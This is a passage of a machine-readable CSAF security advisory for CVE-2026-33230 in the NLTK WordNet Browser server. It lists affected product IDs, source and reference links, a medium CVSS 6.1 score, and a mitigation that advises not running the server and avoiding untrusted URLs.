"category": "details", "text": "Severity: 2\n", "title": "Vendor assessment" } ], "product_status": { "known_affected": [ "CSAFPID-5878160", "CSAFPID-1409483", "CSAFPID-1409484", "CSAFPID-1439279", "CSAFPID-1508255", "CSAFPID-1508257", "CSAFPID-1508259", "CSAFPID-1508263", "CSAFPID-2518221", "CSAFPID-2524222", "CSAFPID-2698058", "CSAFPID-2698059", "CSAFPID-2783920", "CSAFPID-2831632", "CSAFPID-2831633", "CSAFPID-2831634", "CSAFPID-2920384", "CSAFPID-2960939", "CSAFPID-3054652", "CSAFPID-3095614", "CSAFPID-3112099", "CSAFPID-4675946", "CSAFPID-5008757", "CSAFPID-5035448", "CSAFPID-5222641", "CSAFPID-5222767", "CSAFPID-5222780", "CSAFPID-5276226", "CSAFPID-5474797", "CSAFPID-5474798", "CSAFPID-5826731", "CSAFPID-5834017", "CSAFPID-337467", "CSAFPID-477846", "CSAFPID-477847", "CSAFPID-477848", "CSAFPID-477849", "CSAFPID-477850", "CSAFPID-477851", "CSAFPID-477852", "CSAFPID-477853", "CSAFPID-477854", "CSAFPID-477855", "CSAFPID-477856", "CSAFPID-477857", "CSAFPID-477858", "CSAFPID-477859", "CSAFPID-477860", "CSAFPID-477861", "CSAFPID-477862", "CSAFPID-477863", "CSAFPID-477864", "CSAFPID-477865", "CSAFPID-477866", "CSAFPID-710859", "CSAFPID-710860", "CSAFPID-710861", "CSAFPID-710862", "CSAFPID-710863", "CSAFPID-710864", "CSAFPID-712017", "CSAFPID-712018", "CSAFPID-3249744", "CSAFPID-3249745", "CSAFPID-3249746", "CSAFPID-3249747", "CSAFPID-3249748", "CSAFPID-3249749", "CSAFPID-3249750", "CSAFPID-3249751", "CSAFPID-3249752", "CSAFPID-3249753", "CSAFPID-3249754", "CSAFPID-3249755", "CSAFPID-3249756", "CSAFPID-3249757", "CSAFPID-3249758", "CSAFPID-3249759", "CSAFPID-3249760", "CSAFPID-3249761", "CSAFPID-3249762", "CSAFPID-3249763", "CSAFPID-3249764", "CSAFPID-3249765", "CSAFPID-3249766", "CSAFPID-3249767", "CSAFPID-3249768", "CSAFPID-3249769", "CSAFPID-3249770", "CSAFPID-3249771", "CSAFPID-3249772", "CSAFPID-3249773", "CSAFPID-5667818", "CSAFPID-5667819", "CSAFPID-5667820", "CSAFPID-5912812", "CSAFPID-5912813", "CSAFPID-1189281" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-gfwx-w7gr-fvh7" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-gfwx-w7gr-fvh7" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-gfwx-w7gr-fvh7" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33230" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33230.json" }, { "category": "external", "summary": "Source - debian", "url": "https://security-tracker.debian.org/tracker/CVE-2026-33230" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33230.json" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-gfwx-w7gr-fvh7.json?alt=media" }, { "category": "external", "summary": "Source - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-0895.json" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-gfwx-w7gr-fvh7" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/nltk/nltk/commit/40d0bc1d484a3458d6a63ecb5ba4957ab16ba14e" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-33230" }, { "category": "external", "summary": "Reference - github; osv; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33230" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-0895.json" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0895" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7267668" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://www.ibm.com/support/pages/node/7267691" } ], "remediations": [ { "category": "mitigation", "details": "To mitigate this issue, avoid running the NLTK WordNet Browser server (`nltk.app.wordnet_app`) if it is not required. If the server must be run, users should exercise caution and avoid accessing untrusted or suspicious URLs while the application is active.", "product_ids": [ "CSAFPID-1439279", "CSAFPID-1508255", "CSAFPID-1508257", "CSAFPID-1508259", "CSAFPID-1508263", "CSAFPID-2518221", "CSAFPID-2524222", "CSAFPID-2698058", "CSAFPID-2698059", "CSAFPID-2783920", "CSAFPID-2831632", "CSAFPID-2831633", "CSAFPID-2831634", "CSAFPID-2920384", "CSAFPID-2960939", "CSAFPID-3054652", "CSAFPID-3095614", "CSAFPID-3112099", "CSAFPID-4675946", "CSAFPID-5008757", "CSAFPID-5035448", "CSAFPID-5222641", "CSAFPID-5222767", "CSAFPID-5222780", "CSAFPID-5276226", "CSAFPID-5474797", "CSAFPID-5474798", "CSAFPID-5826731", "CSAFPID-5834017" ] } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM" }, "products": [ "CSAFPID-1189281", "CSAFPID-1409483", "CSAFPID-1409484", "CSAFPID-1439279", "CSAFPID-1508255", "CSAFPID-1508257", "CSAFPID-1508259", "CSAFPID-1508263", "CSAFPID-2518221", "CSAFPID-2524222", "CSAFPID-2698058", "CSAFPID-2698059", "CSAFPID-2783920", "CSAFPID-2831632", "CSAFPID-2831633", "CSAFPID-2831634", "CSAFPID-2920384", "CSAFPID-2960939", "CSAFPID-3054652", "CSAFPID-3095614", "CSAFPID-3112099", "CSAFPID-3249744", "CSAFPID-3249745", "CSAFPID-3249746", "CSAFPID-3249747", "CSAFPID-3249748", "CSAFPID-3249749", "CSAFPID-3249750", "CSAFPID-3249751", "CSAFPID-3249752", "CSAFPID-3249753", "CSAFPID-3249754", "CSAFPID-3249755", "CSAFPID-3249756", "CSAFPID-3249757", "CSAFPID-3249758", "CSAFPID-3249759", "CSAFPID-3249760", "CSAFPID-3249761", "CSAFPID-3249762", "CSAFPID-3249763", "CSAFPID-3249764", "CSAFPID-3249765", "CSAFPID-3249766", "CSAFPID-3249767", "CSAFPID-3249768", "CSAFPID-3249769", "CSAFPID-3249770", "CSAFPID-3249771", "CSAFPID-3249772", "CSAFPID-3249773", "CSAFPID-337467", "CSAFPID-4675946", "CSAFPID-477846", "CSAFPID-477847", "CSAFPID-477848", "CSAFPID-477849", "CSAFPID-477850", "CSAFPID-477851", "CSAFPID-477852", "CSAFPID-477853", "CSAFPID-477854", "CSAFPID-477855", "CSAFPID-477856", "CSAFPID-477857", "CSAFPID-477858", "CSAFPID-477859", "CSAFPID-477860", "CSAFPID-477861", "CSAFPID-477862", "CSAFPID-477863", "CSAFPID-477864", "CSAFPID-477865", "CSAFPID-477866", "CSAFPID-5008757", "CSAFPID-5035448", "CSAFPID-5222641", "CSAFPID-5222767", "CSAFPID-5222780", "CSAFPID-5276226", "CSAFPID-5474797", "CSAFPID-5474798", "CSAFPID-5667818", "CSAFPID-5667819", "CSAFPID-5667820", "CSAFPID-5826731", "CSAFPID-5834017", "CSAFPID-5878160", "CSAFPID-5912812", "CSAFPID-5912813", "CSAFPID-710859", "CSAFPID-710860", "CSAFPID-710861", "CSAFPID-710862", "CSAFPID-710863", "CSAFPID-710864", "CSAFPID-712017", "CSAFPID-712018" ] } ], "title": "CVE-2026-33230" } ] }